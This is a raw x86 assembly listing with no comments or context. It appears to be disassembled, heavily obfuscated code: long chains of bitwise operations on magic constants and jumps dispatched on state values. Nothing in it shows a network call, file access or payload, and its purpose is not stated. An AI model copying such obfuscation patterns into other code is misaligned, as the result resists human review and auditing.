xor dh, 1
mov dl, cl
mov byte [esp], dh
and dl, bl
xor bl, cl
mov cl, dh
or bl, dl
mov dl, ah
and cl, ch
xor bl, 1
and dl, bl
xor bl, ah
mov ah, dh
xor ah, ch
mov ch, al
or bl, dl
xor ch, 1
xor bl, 1
or cl, ah
mov byte [esp + 4], ah
mov dl, ch
and dl, al
xor ch, dl
xor dl, 1
or dl, al
mov eax, ebx
xor dl, 1
or dl, ch
xor al, dl
or dl, bl
xor dl, 1
mov ch, al
or dl, al
xor dl, 1
and ch, dl
xor dl, al
mov eax, ecx
xor al, bh
or dl, ch
mov bl, al
xor bl, cl
or cl, bh
and bl, al
xor al, 1
xor cl, 1
and al, bh
mov dh, bl
mov bh, byte [esp + 0xc]
mov ch, al
and ch, cl
xor cl, al
mov eax, ebx
xor al, 1
or cl, ch
and al, bl
mov ch, cl
mov ah, bh
xor al, 1
xor ch, 1
xor ah, 1
xor dh, al
or al, bl
and ch, cl
xor al, 1
xor ch, 1
or al, dh
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
mov dh, al
xor dh, 1
and dh, ch
xor ch, 1
and ch, al
mov al, bl
xor al, cl
or cl, bl
or ch, dh
xor cl, 1
xor ch, 1
or cl, al
mov al, ch
or ch, cl
xor al, cl
xor ch, 1
or ch, al
mov al, ch
mov cl, ch
xor al, dl
xor dl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov al, dl
xor dl, ch
and al, ch
or dl, al
mov al, dl
xor al, 1
and al, cl
xor cl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov cl, bh
mov al, ch
and al, dl
xor dl, ch
mov ch, bh
or dl, al
and ch, ah
mov al, bh
or ah, bh
and al, ch
xor ch, bh
mov cl, ah
mov bh, ah
or ch, al
xor cl, 1
mov bl, ch
xor bl, 1
mov al, bl
mov dh, bl
mov byte [esp + 0x10], bl
and al, ch
and dh, al
xor al, bl
mov bl, byte [esp + 4]
or al, dh
mov dh, ah
and dh, cl
and bh, dh
xor dh, ah
mov ah, byte [esp + 8]
or dh, bh
mov bh, ch
and bl, byte [esp]
xor bh, cl
or cl, ch
xor dh, al
mov al, ch
mov byte [esp + 4], cl
xor dh, 1
mov cl, byte [esp + 4]
xor al, ah
and al, ch
and ch, ah
or ah, byte [esp]
xor al, 1
xor cl, 1
or cl, bh
mov bh, dh
or dh, cl
xor bh, cl
mov cl, ah
xor dh, 1
xor cl, 1
or dh, bh
mov bh, bl
xor bh, 1
and cl, bh
or bh, ah
and ah, bl
xor bh, 1
or ah, cl
mov cl, bh
and cl, ah
xor ah, bh
mov bh, dh
or ah, cl
mov cl, dh
xor cl, 1
and cl, dh
xor cl, 1
xor bh, cl
or cl, dh
mov dh, byte [esp + 0x10]
xor cl, 1
or cl, bh
xor cl, ah
and dh, byte [esp]
mov ah, cl
xor ah, 1
or ch, dh
mov dh, al
xor ch, 1
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
mov al, ch
mov dh, ch
xor al, 1
and dh, al
mov ebx, eax
xor dh, 1
xor bl, dh
or dh, al
mov al, cl
xor dh, 1
and al, ch
xor ch, cl
or dh, bl
or ch, al
and ah, dh
xor dh, 1
xor ch, 1
and dh, cl
or dh, ah
mov al, dh
and al, ch
xor ch, dh
or ch, al
mov al, ch
mov ah, ch
xor al, 1
and ah, al
xor ch, ah
xor ah, 1
or ah, al
mov al, dl
xor al, 1
xor ah, 1
mov dh, al
or ah, ch
mov ch, al
or dh, dl
and ch, dl
mov cl, ah
mov bl, dh
mov bh, dh
xor cl, 1
xor bl, 1
and bl, dh
and bh, bl
xor bl, dh
or bl, bh
mov bh, al
and bh, ch
xor ch, al
or ch, bh
mov bh, bl
xor bh, 1
and bh, ch
xor ch, 1
and ch, bl
mov bl, cl
or ch, bh
mov bh, dh
xor dh, al
xor bl, ah
or ah, cl
and bh, al
xor ch, 1
and bl, cl
or dh, bh
mov bh, ch
or ch, dh
xor bh, dh
mov dh, ah
xor dh, 1
xor ch, 1
and dh, ah
or ch, bh
xor dh, 1
mov bh, dh
or dh, ah
xor bh, ah
xor dh, 1
or dh, bh
mov bh, dh
xor bh, 1
and bh, bl
xor bl, 1
and dh, bl
or dh, bh
mov bh, ah
and bh, bl
xor bl, ah
or bl, bh
mov ah, bl
xor ah, dh
xor dh, 1
or dh, bl
xor ah, 1
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
and ah, dh
mov bl, ah
xor ah, dh
and bl, dh
or ah, bl
xor ah, ch
mov ch, al
xor ch, cl
xor cl, dl
mov dl, ah
and ch, al
xor cl, 1
xor ch, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor dl, cl
and cl, ah
and dl, ah
xor ah, 1
xor al, 1
and al, ah
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5e042e06
cmovne ecx, esi
test dl, 1
mov edx, 0x5e042e06
cmove ecx, edx
mov edx, dword [esp + 0x50]
test al, 1
cmovne ecx, esi
mov dword [esp + 0x150], edx
cmp ecx, 0xc1fcd15
jle 0x42f66c
nop
cmp ecx, 0x3e03d04b
jg 0x432760
cmp ecx, 0x2806872f
jle 0x4368dc
cmp ecx, 0x2ed18fae
jg 0x437d01
cmp ecx, 0x2c95c713
jg 0x43978f
cmp ecx, 0x28068730
je 0x43e367
cmp ecx, 0x2aaaf522
jne 0x42f660
mov eax, dword [0x4d0db4]
lea esi, [eax - 1]
imul esi, eax
mov edx, esi
mov eax, esi
mov ebx, esi
mov ebp, esi
mov dword [esp + 4], esi
xor edx, 0x326a9e3e
or eax, 0xcd9561c1
not ebx
and edx, esi
mov ecx, eax
mov edi, eax
mov dword [esp], ebx
mov esi, edx
not ecx
and edi, 0xe6656c2e
and edx, 0x199a93d1
not esi
and ecx, 0x100a9210
or eax, esi
and esi, 0xe6656c2e
or ecx, edi
or edx, esi
not eax
mov esi, ebp
xor edx, ecx
and esi, 0xb3c17c99
or eax, edx
mov edx, ebx
mov ecx, eax
and edx, 0x4c3e8366
and eax, 0x326a9e3e
not ecx
or edx, esi
and ecx, 0xcd9561c1
xor edx, 0x4c3e8366
or eax, ecx
or edx, ebx
mov ecx, eax
mov esi, edx
and eax, 0xff619c9d
and edx, 0x2ad34505
not ecx
not esi
and ecx, 0x9e6362
and esi, 0xd52cbafa
or eax, ecx
or edx, esi
mov ecx, eax
xor eax, 0x9e6362
mov ebx, edx
xor edx, 0xd52cbafa
mov esi, eax
xor ecx, 0xe4409011
and eax, 0xe673587e
xor ebx, 0x2ad34505
and ecx, 0xe4c0f231
and esi, 0x1b3f0dce
or esi, ecx
mov ecx, edx
and edx, 0xfcb0f94a
mov edi, esi
or ecx, 0x198ca781
xor esi, 0xe4c0f231
xor edi, 0x1b3f0dce
mov dword [esp + 8], edi
and edi, 0x198ca781
or eax, edi
mov edi, ebx
or edi, 0xe673587e
mov ebp, edi
and edi, 0x8928bbcc
not ebp
and ebp, 0x10840401
or ebp, edi
mov edi, ecx
and ecx, 0x8928bbcc
not edi
and edi, 0x66534032
or edi, ecx
mov ecx, eax
xor edi, ebp
not ecx
and ecx, edi
not edi
and edi, eax
mov eax, esi
or esi, ebx
and ebx, 0x34f06b5
or edi, ecx
mov ecx, dword [esp + 8]
and eax, 0x34f06b5
or edx, ebx
not esi
and ecx, 0xfcb0f94a
or ecx, eax
mov eax, edi
and edi, 0x69912c26
xor edx, ecx
not eax
or esi, edx
mov edx, eax
mov ecx, esi
or eax, esi
and edx, 0x966ed3d9
and esi, 0x966ed3d9
not ecx
or edi, edx
not eax
and ecx, 0x69912c26
or ecx, esi
xor ecx, edi
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
and eax, 0x869c4e5
not ecx
and edx, 0xfee21fc8
and ecx, 0xf7963b1a
or eax, ecx
mov ecx, edx
xor eax, 0x97424d2
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x40594a68
and ecx, eax
or eax, 0xbfa6b597
mov esi, ecx
mov edx, eax
mov edi, eax
and ecx, 0x5b161633
not edx
not esi
and edi, 0xa4e9e9cc
or eax, esi
and edx, 0x40100220
and esi, 0xa4e9e9cc
or edx, edi
or ecx, esi
not eax
xor ecx, edx
mov edx, dword [esp + 4]
or eax, ecx
mov ecx, eax
and eax, 0x40594a68
not ecx
and ecx, 0xbfa6b597
mov esi, edx
or eax, ecx
and esi, 0xdbd0ec43
mov ecx, edx
mov ebp, eax
and eax, 0xb1c7f5c
xor ecx, 0x3f27d71c
not ebp
and ecx, edx
and ebp, 0xf4e380a3
or ebp, eax
mov eax, dword [esp]
and eax, 0x242f13bc
or esi, eax
mov eax, esi
xor esi, 0x2427131c
or esi, 0xc0d828e3
xor eax, 0x1900c400
mov edi, esi
and eax, 0x3920d61c
and edi, 0x460f29a2
or eax, edi
mov edi, ecx
and ecx, 0xb9f0d65d
not edi
or esi, edi
and edi, 0x460f29a2
or ecx, edi
not esi
mov edi, dword [esp]
xor ecx, eax
or esi, ecx
mov eax, esi
and esi, 0x2d659a17
not eax
and edi, 0x399909a4
and eax, 0xd29a65e8
or esi, eax
mov eax, esi
xor esi, 0x135fad3c
xor eax, 0x28800080
mov ecx, esi
and ecx, 0xc666f65b
and eax, 0x399909a4
or eax, ecx
mov ecx, edx
mov edx, ebp
xor ebp, 0xb1c7f5c
and ecx, 0xc666f65b
xor edx, 0xf4e380a3
or edi, ecx
mov ecx, ebp
mov dword [esp + 8], edx
xor edi, eax
mov eax, edx
and ecx, 0x9f8c224b
and eax, 0x6073ddb4
xor esi, edi
or ecx, eax
mov eax, ebp
and esi, edi
and eax, edx
mov edi, esi
mov ebx, eax
and eax, 0x9f8c224b
not ebx
or edx, ebx
and ebx, 0x6073ddb4
or eax, ebx
not edx
xor eax, ecx
mov ecx, esi
or edx, eax
not ecx
mov eax, esi
mov ebx, ecx
mov dword [esp + 0xc], edx
mov edx, ecx
and eax, 0xe715a6c2
and edx, esi
and ebx, 0xf1adf684
and esi, 0xe52097b
or esi, ebx
not esi
or esi, ecx
and ecx, 0x18ea593d
or ecx, eax
mov eax, edx
and edx, 0x18ea593d
mov dword [esp + 0x14], esi
not eax
or edi, eax
and eax, 0xe715a6c2
or edx, eax
not edi
xor edx, ecx
or edi, edx
mov eax, edi
mov esi, edi
mov dword [esp + 0x10], edi
not eax
and esi, 0x35c1248e
mov ecx, eax
and ecx, 0xca3edb71
or esi, ecx
xor esi, 0xc46cd20a
mov ecx, esi
xor ecx, eax
mov edx, ecx
mov ecx, eax
mov eax, dword [esp + 0xc]
and edx, esi
mov dword [esp + 0x20], edx
mov edi, eax
xor edi, ecx
and ecx, eax
and edi, eax
mov dword [esp + 0x1c], ecx
mov ecx, eax
mov dword [esp + 0x18], edi
mov edi, eax
and ecx, 0x50a13de6
not edi
mov dword [esp + 0xc], edi
and edi, 0xaf5ec219
or ecx, edi
mov edi, ecx
xor ecx, 0x8c06c009
xor edi, 0x50a13de6
and ecx, 0xdc87fc69
mov eax, edi
and edi, 0xe52097b
and eax, 0x23780396
or eax, ecx
mov ecx, dword [esp + 8]
xor eax, 0xd2d5f512
or edi, eax
mov eax, edi
and edi, 0xf1b68108
not eax
and ecx, 0xe52097b
and eax, 0xe497ef7
or edi, eax
mov eax, ebp
and eax, 0xf1adf684
mov esi, edi
or ecx, eax
xor esi, 0xe497ef7
xor ebp, ecx
and ebp, ecx
mov edx, ebp
mov ecx, ebp
mov eax, ebp
not edx
and ecx, 0xf75d8682
xor eax, 0xa513f8a2
and edx, 0x8a2797d
and eax, ebp
or ecx, edx
mov edx, edi
xor edi, 0x54a579aa
mov ebx, edi
xor edx, 0xf1b68108
and ebx, esi
and edi, edx
and esi, 0xe30db00a
mov ebp, ebx
and ebp, edi
xor edi, ebx
mov ebx, ecx
xor ecx, 0x8a2797d
xor ebx, 0xf75d8682
or edi, ebp
mov ebp, ebx
and ebx, 0xe30db00a
and ebp, 0xa513f8a2
mov dword [esp + 8], ebp
and dword [esp + 8], eax
xor eax, ebp
mov ebp, edi
and edi, 0xf3928a8a
or eax, dword [esp + 8]
not ebp
and ebp, 0xc6d7575
or edi, ebp
mov ebp, eax
and eax, 0xf3928a8a
not ebp
and ebp, 0xc6d7575
or eax, ebp
xor eax, edi
mov edi, edx
or edx, ecx
and ecx, 0x1cf24ff5
and edi, 0x1cf24ff5
or ebx, ecx
mov ecx, eax
not edx
and eax, 0xfd89bc77
or esi, edi
not ecx
mov edi, dword [esp + 0x20]
xor ebx, esi
mov esi, ecx
or edx, ebx
and esi, 0x2764388
or eax, esi
mov esi, edx
or ecx, edx
and edx, 0x2764388
not esi
not ecx
and esi, 0xfd89bc77
or esi, edx
mov edx, edi
xor esi, eax
not edx
or ecx, esi
mov esi, dword [esp + 0x14]
mov ebx, ecx
and ecx, 0xd5db22d8
not ebx
mov eax, esi
not eax
and eax, edx
or edx, esi
and esi, edi
not edx
or esi, eax
mov eax, edx
and eax, esi
xor esi, edx
mov edx, dword [esp + 0x1c]
or esi, eax
mov eax, ebx
and eax, 0x2a24dd27
or ebx, esi
or ecx, eax
not ebx
xor ecx, esi
xor ecx, 0x2a24dd27
and ecx, esi
mov eax, ecx
and eax, ebx
xor ebx, ecx
mov ecx, dword [esp + 0x18]
or ebx, eax
mov eax, dword [esp + 0xc]
mov edi, ebx
xor edi, 0x73e05b5
and edi, ebx
and eax, dword [esp + 0x10]
or edx, eax
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov ecx, edx
mov eax, edx
xor ecx, 0xb96762a8
and eax, 0x80244000
and ecx, edx
not edx
and edx, 0x394322a8
or eax, edx
xor eax, 0x80244000
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ebx
mov eax, ecx
and ecx, 0xeb28c9d9
not edx
not eax
mov dword [esp + 8], edx
and edx, 0x73e05b5
and eax, 0x14d73626
mov esi, edx
or ecx, eax
and esi, edi
xor edi, edx
mov eax, ecx
mov dword [esp + 0xc], ecx
xor ecx, 0x5571aec4
or edi, esi
xor eax, 0xadb0548e
and ecx, eax
mov esi, eax
and eax, 0xc451294e
mov edx, ecx
and ecx, 0xcd904e47
or esi, 0x73e05b5
not edx
mov ebp, edx
or edx, esi
and ebp, 0x326fb1b8
not edx
or ecx, ebp
mov ebp, esi
and esi, 0x326fb1b8
not ebp
and ebp, 0xc8804a42
or ebp, esi
mov esi, dword [esp + 8]
xor ebp, ecx
mov ecx, edi
and edi, 0x3337c1cf
not ecx
or edx, ebp
mov ebp, dword [esp]
and ecx, 0xccc83e30
or edi, ecx
mov ecx, edx
and edx, 0x3337c1cf
and esi, 0xc451294e
not ecx
and ecx, 0xccc83e30
or edx, ecx
mov ecx, ebx
and ecx, 0x3baed6b1
xor edx, edi
or esi, ecx
mov ecx, dword [esp + 0xc]
xor ecx, 0x524fab71
or ebx, ecx
and ecx, 0x3baed6b1
or eax, ecx
not ebx
xor eax, esi
or ebx, eax
mov eax, edx
not ebx
and eax, ebx
xor ebx, edx
or ebx, eax
mov esi, ebx
mov ecx, ebx
mov eax, ebx
not esi
xor ecx, 0xb1790f4c
or eax, 0x4e86f0b3
mov edx, esi
and ecx, ebx
and ebx, 0x9500be2b
and edx, 0x6aff41d4
or ebx, edx
mov edx, eax
xor ebx, 0x6be2a1e2
and edx, 0xa0caa393
or ebx, esi
and esi, 0x11310c4c
or esi, edx
mov edx, ecx
and ecx, 0x5f355c6c
not edx
or eax, edx
and edx, 0xa0caa393
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
and eax, 0xaaa49175
not ecx
and ecx, 0x555b6e8a
or eax, ecx
mov ecx, eax
xor eax, 0xe42261c6
mov edx, eax
xor ecx, 0x13d10e10
and eax, 0x11de036
and ecx, 0x33f12f94
and edx, 0xcc0ed06b
or edx, ecx
xor edx, 0x32eccfa2
or eax, edx
mov edx, ebx
mov ecx, eax
and eax, 0x9f801f0b
not edx
not ecx
and ecx, 0x607fe0f4
or eax, ecx
mov ecx, eax
xor eax, 0x607fe0f4
xor ecx, 0x9f801f0b
and eax, edx
mov edx, ebp
mov esi, ecx
and edx, 0x59e38cf2
xor esi, ebx
and ebx, ecx
and esi, ecx
or ebx, eax
mov eax, esi
and eax, ebx
xor ebx, esi
mov esi, dword [esp + 4]
or ebx, eax
mov dword [esp + 8], ebx
mov eax, esi
and esi, 0x3a7ab0ff
and eax, 0xa61c730d
or edx, eax
mov eax, ebp
mov ecx, edx
xor edx, 0x51a00020
and eax, 0xc5854f00
xor ecx, 0x4006001
and edx, 0xf3bc132c
or esi, eax
and ecx, 0xc43ecd3
xor esi, 0x3a7ab0ff
or ecx, edx
xor ebp, esi
mov edx, ecx
xor ecx, 0xf3bc132c
and ebp, esi
mov eax, ecx
xor edx, 0x8420000
mov edi, ebp
and ecx, 0x62ceff0d
and edx, 0xfbc6022c
and eax, 0x439fdd3
and edi, 0x934a091b
or eax, edx
mov edx, ebp
and ebp, 0x62ceff0d
not edx
mov esi, eax
xor eax, 0xfbc6022c
and edx, 0x6cb5f6e4
xor esi, 0x439fdd3
or edi, edx
mov edx, esi
and esi, 0xcfe11223
mov ebx, edi
and edx, 0x9d3100f2
xor edi, 0x6cb5f6e4
xor ebx, 0x934a091b
or ecx, edx
mov edx, ebx
and ebx, 0xcfe11223
and edx, 0x9d3100f2
or ebp, edx
mov edx, ecx
and ecx, 0x23bf23bf
not edx
and edx, 0xdc40dc40
or ecx, edx
mov edx, ebp
and ebp, 0x23bf23bf
not edx
and edx, 0xdc40dc40
or ebp, edx
xor ebp, ecx
mov ecx, eax
or eax, edi
and edi, 0x301eeddc
and ecx, 0x301eeddc
or ebx, edi
not eax
mov edi, ebp
or esi, ecx
not edi
xor ebx, esi
mov esi, ebp
mov edx, edi
or eax, ebx
and edx, 0xb8632c93
and esi, 0x479cd36c
mov ecx, eax
and eax, 0xa4d77610
or esi, edx
not ecx
and ecx, 0x5b2889ef
or eax, ecx
mov ecx, eax
xor eax, 0x5b2889ef
xor ecx, 0x4945200
or edi, eax
and eax, 0xb8632c93
and ecx, 0x479cd36c
not edi
or ecx, eax
xor ecx, esi
mov esi, dword [esp + 8]
or edi, ecx
mov ecx, esi
not ecx
mov eax, ecx
mov ebp, ecx
mov dword [esp], ecx
mov ecx, esi
and eax, 0x361060d1
and ecx, 0xc02a1b02
or ecx, eax
mov eax, esi
xor eax, 0xf63a7bd3
xor ecx, 0xc02a1b02
and eax, esi
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, edi
mov ecx, eax
and eax, 0xf63a7bd3
not edx
not ecx
and ecx, 0x9c5842c
or eax, ecx
mov ecx, edx
mov ebx, eax
and eax, 0x852c4287
not ebx
and ebx, 0x7ad3bd78
or ebx, eax
mov eax, ebx
xor ebx, 0x7ad3bd78
xor eax, 0x2789b9a6
and ebx, eax
mov eax, ebp
mov ebp, esi
mov esi, edi
and edi, 0xd1ebb2f2
and eax, 0xa2a5fb21
and ebp, 0x5d5a04de
and esi, 0xa6f510af
or ebp, eax
mov eax, edx
and eax, 0x590aef50
not ebp
or esi, eax
or ebp, dword [esp]
mov eax, esi
and esi, 0x590aef50
not eax
and eax, 0xa6f510af
or esi, eax
mov edx, esi
and esi, 0xa2a5fb21
not edx
mov eax, edx
and eax, 0x5d5a04de
or esi, eax
mov eax, ecx
and ecx, 0xa2a5fb21
and eax, 0x2e144d0d
xor edx, esi
or eax, edi
mov edi, ebp
and edx, esi
xor eax, 0x734e49d3
not edi
or ecx, eax
mov eax, ebx
and ebx, 0xb8910f36
and edi, 0xb8910f36
not eax
mov dword [esp + 4], ecx
mov esi, eax
and eax, 0x476ef0c9
mov ecx, dword [esp + 4]
or esi, ebp
and ebp, 0x476ef0c9
or ebx, eax
or edi, ebp
not esi
xor edi, ebx
mov eax, esi
mov ebx, edx
and eax, edi
xor edi, esi
mov esi, edx
not ebx
xor esi, 0xddb1a845
or edi, eax
mov dword [esp + 0xc], ebx
and esi, ebx
or ebx, 0xddb1a845
mov eax, esi
and esi, 0x14d2475a
not eax
mov ebp, eax
or eax, ebx
and ebp, 0xeb2db8a5
not eax
or esi, ebp
mov ebp, ebx
and ebx, 0xeb2db8a5
not ebp
and ebp, 0x42471a
or ebp, ebx
mov ebx, ecx
xor ebp, esi
mov esi, ecx
and ebx, 0xddb1a845
or eax, ebp
mov ebp, ecx
not esi
mov ecx, ebx
xor ebp, 0x224e57ba
and ebp, esi
and ecx, ebp
xor ebp, ebx
or ebp, ecx
mov ecx, eax
and eax, 0xc9d26c7c
not ecx
and ecx, 0x362d9383
or eax, ecx
mov ecx, ebp
and ebp, 0xc9d26c7c
not ecx
and ecx, 0x362d9383
or ebp, ecx
mov ecx, dword [esp + 0xc]
xor ebp, eax
mov eax, edx
or edx, esi
and esi, 0xf9752aa3
and eax, 0xf9752aa3
not edx
and ecx, 0x68ad55c
or ecx, eax
mov eax, dword [esp + 4]
and eax, 0x68ad55c
or eax, esi
xor eax, ecx
or edx, eax
mov eax, ebp
and ebp, 0x7717a3d4
mov esi, edx
not eax
mov ecx, eax
not esi
or eax, edx
and edx, 0x88e85c2b
and esi, 0x7717a3d4
and ecx, 0x88e85c2b
not eax
or ebp, ecx
or esi, edx
mov edx, edi
and edi, 0x12ed19b0
mov ecx, dword [0x4d0db8]
not edx
xor esi, ebp
and edx, 0xed12e64f
or eax, esi
or edi, edx
mov edx, eax
xor edx, 0xed12e64f
and edx, eax
not eax
and eax, 0xed12e64f
mov esi, eax
and esi, edx
xor edx, eax
mov eax, edi
or edx, esi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, edx
or edx, 0x2201150
not eax
and edx, 0x1e3219fc
mov edi, eax
and eax, 0x4108c201
or edi, 0x5d1acaad
or eax, edx
mov edx, dword [esp + 8]
mov esi, edi
and edi, 0x1e3219fc
not esi
and esi, 0xa0c52402
or esi, edi
or edx, 0x374db1b6
xor esi, eax
mov ebp, edx
mov eax, esi
and esi, 0xe03e00b
and ebp, 0xe13060e3
not eax
and eax, 0xf1fc1ff4
or esi, eax
mov eax, edx
mov edx, dword [esp]
not eax
mov edi, esi
xor esi, 0x24404000
and eax, 0x8820e08
xor edi, 0x53192aa6
and esi, 0x64484a04
or eax, ebp
or edx, 0xc8b24e49
mov ebx, edx
and edx, 0xe13060e3
not ebx
and ebx, 0x164d9114
or ebx, edx
mov edx, edi
xor ebx, eax
mov eax, ebx
and ebx, 0xd5917ba2
not eax
and eax, 0x2a6e845d
or ebx, eax
mov eax, ebx
xor ebx, 0xe2dcca14
xor edx, ebx
xor eax, 0x192335eb
and ebx, 0x64484a04
and eax, 0x9bb7b5fb
and edx, edi
and edi, 0x9bb7b5fb
or edi, esi
or eax, ebx
mov esi, edx
and edx, 0xfd92bca8
xor eax, edi
not esi
mov edi, eax
mov ebx, esi
and eax, 0xfd92bca8
not edi
and ebx, 0x26d4357
or esi, edi
and edi, 0x26d4357
or edx, ebx
or eax, edi
not esi
xor eax, edx
or esi, eax
mov eax, esi
and esi, 0xc072ba53
not eax
and eax, 0x3f8d45ac
or eax, esi
mov esi, 0x686f7f3c
xor eax, 0xc072ba53
setne dl
sete al
cmp ecx, 0xa
setl ah
cmp ecx, 9
setg ch
xor al, dl
mov cl, ch
and dl, al
xor cl, ah
xor cl, 1
xor ch, cl
or cl, ah
mov dh, ch
xor cl, 1
mov ah, ch
xor dh, 1
or cl, dh
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
mov dh, cl
xor ah, 1
mov ch, ah
xor dh, ah
and ch, cl
and dh, cl
xor ah, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
mov ah, ch
xor ah, 1
or ah, ch
mov ch, dh
mov bl, ah
xor ch, 1
and dh, ah
xor bl, 1
or ah, ch
and ch, bl
mov cl, ah
or ch, dh
xor ch, 1
xor cl, ch
or ch, ah
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
and ch, cl
mov ah, cl
and ah, ch
xor ch, cl
mov cl, dl
xor cl, 1
or ch, ah
mov ah, dl
or cl, dl
mov bl, ch
xor cl, 1
and ah, cl
xor cl, dl
mov edx, eax
or cl, ah
xor dl, 1
mov bh, cl
and cl, al
xor bh, 1
and dl, bh
or cl, dl
mov dl, bh
xor bh, al
and dl, al
mov eax, ecx
or bh, dl
xor bh, 1
and al, bh
xor bh, cl
or bh, al
mov cl, bh
mov byte [esp + 0xc], bh
xor cl, 1
mov ah, cl
mov edx, ecx
mov dh, cl
mov ch, cl
mov byte [esp + 8], cl
and ah, bh
and dl, ah
xor dh, ah
xor ah, 1
or dl, dh
or ah, bh
mov al, dl
mov cl, dl
mov byte [esp], dl
xor ah, 1
xor al, 1
or ah, dh
mov dh, byte [esp + 8]
or cl, al
mov byte [esp + 0x10], al
mov al, cl
or cl, ch
mov ch, bl
xor bl, 1
xor al, bh
xor cl, 1
mov byte [esp + 0x1c], ch
xor al, 1
mov dl, cl
and dl, al
xor al, cl
mov cl, bl
or al, dl
mov dl, bl
mov bl, ch
and cl, ch
mov ch, dl
xor al, 1
and ch, cl
xor ah, al
mov byte [esp + 0x18], ch
mov ch, dl
xor ch, cl
xor cl, 1
mov byte [esp + 0x20], ch
mov ch, al
or cl, bl
mov bl, ah
mov ah, byte [esp]
or al, dh
xor ch, bh
xor cl, 1
mov byte [esp + 4], al
xor bl, 1
mov byte [esp + 0x14], ch
mov ch, byte [esp + 0x20]
or cl, ch
mov al, cl
xor dh, cl
or byte [esp + 0xc], cl
or cl, ah
xor al, ah
mov byte [esp + 0x2c], cl
mov cl, byte [esp + 0x1c]
mov byte [esp + 8], dh
mov byte [esp + 0x28], al
mov al, byte [esp + 0x10]
and ah, cl
and al, dl
or ah, al
mov al, dl
xor ah, 1
or al, cl
or ah, dl
mov edx, ecx
xor cl, al
mov byte [esp], ah
mov ah, byte [esp + 0x18]
and al, dl
or al, cl
xor cl, 1
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
or ah, ch
or cl, dl
mov al, ah
mov dl, ah
or ah, cl
mov ch, cl
xor cl, 1
xor al, 1
and dl, cl
xor ah, 1
and ch, al
xor al, cl
or ah, al
or ch, dl
mov dl, byte [esp + 4]
xor ah, 1
mov al, ch
and al, ah
xor ah, ch
or ah, al
mov al, byte [esp + 0x14]
xor dl, 1
mov cl, ah
mov bh, ah
mov dh, ah
xor cl, 1
and bh, cl
xor al, 1
or dl, al
mov al, bl
xor al, dl
or dl, bl
mov bl, bh
xor dl, 1
xor bl, 1
or dl, al
mov al, cl
or bl, cl
or al, ah
mov byte [esp + 4], dl
mov ah, cl
xor bl, 1
mov dl, al
and ah, al
xor dl, 1
mov ch, dl
and ch, al
xor al, cl
xor cl, dh
or cl, bh
xor bh, dh
or al, ah
or bl, bh
mov bh, ch
xor ch, dl
xor cl, 1
and bh, dl
mov edx, eax
or ch, bh
xor ch, bl
xor dl, ch
xor ch, 1
or ch, al
xor dl, 1
xor ch, 1
or ch, dl
mov bl, ch
xor bl, 1
mov dh, bl
mov eax, ebx
mov ah, bl
and dh, ch
and al, dh
xor dh, bl
xor bl, ch
or dh, al
and bl, ch
mov al, dh
and ah, dh
xor al, 1
mov bh, al
and bh, ch
or bh, ah
xor bh, 1
or bh, dh
mov ah, bh
xor ah, 1
mov dl, ah
or ah, cl
xor dl, cl
xor ah, 1
or ah, dl
and dl, cl
or cl, bh
xor cl, 1
mov bh, dl
and bh, cl
xor cl, dl
mov dl, ah
xor dl, 1
or cl, bh
and dl, ah
xor dl, 1
mov bh, dl
or dl, ah
xor bh, ah
xor dl, 1
or dl, bh
mov bh, dl
xor bh, 1
and bh, cl
xor cl, 1
and dl, cl
or dl, bh
mov bh, ah
and bh, cl
xor cl, ah
mov ah, dl
or cl, bh
xor cl, 1
and ah, cl
xor cl, dl
or cl, ah
mov dl, cl
xor dl, 1
mov ah, dl
mov bh, dl
and ah, cl
and bh, ah
xor ah, dl
or dl, cl
mov ecx, edx
or ah, bh
xor cl, 1
xor ah, 1
mov bh, cl
and bh, dl
mov byte [esp + 0x10], bh
and byte [esp + 0x10], cl
xor bh, cl
mov cl, ah
or bh, byte [esp + 0x10]
and cl, dl
xor dl, ah
or dl, cl
xor bh, ah
mov ah, bl
mov cl, bh
xor cl, dl
or dl, bh
xor dl, 1
or dl, cl
mov ecx, ebx
xor cl, 1
and ah, cl
or cl, bl
mov ch, ah
xor ah, bl
and ch, bl
or ah, ch
mov ch, cl
xor ch, ah
xor ah, 1
or ah, cl
mov cl, dh
xor ch, 1
xor ah, 1
and cl, al
or al, dh
or ah, ch
mov ch, cl
xor cl, dh
and ch, dh
or cl, ch
xor cl, 1
mov ch, cl
xor ch, al
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
and al, cl
mov ch, cl
and ch, al
xor al, cl
or al, ch
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov ch, ah
xor ch, cl
and cl, ah
and ch, ah
or cl, al
xor ch, 1
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov eax, ecx
mov ah, cl
xor al, 1
or al, cl
xor ah, al
or al, cl
xor al, 1
mov ecx, eax
xor al, ah
and cl, ah
or al, cl
mov ecx, eax
mov ah, al
mov ch, al
xor cl, 1
and ah, cl
or cl, al
and ch, ah
xor ah, al
xor cl, 1
or ah, ch
mov ch, byte [esp + 4]
xor ah, 1
mov al, ah
and al, cl
xor cl, ah
mov ah, dl
or cl, al
mov al, cl
or cl, dl
xor al, 1
or ah, al
xor al, dl
xor ah, 1
or ah, al
and al, dl
mov edx, ecx
xor dl, al
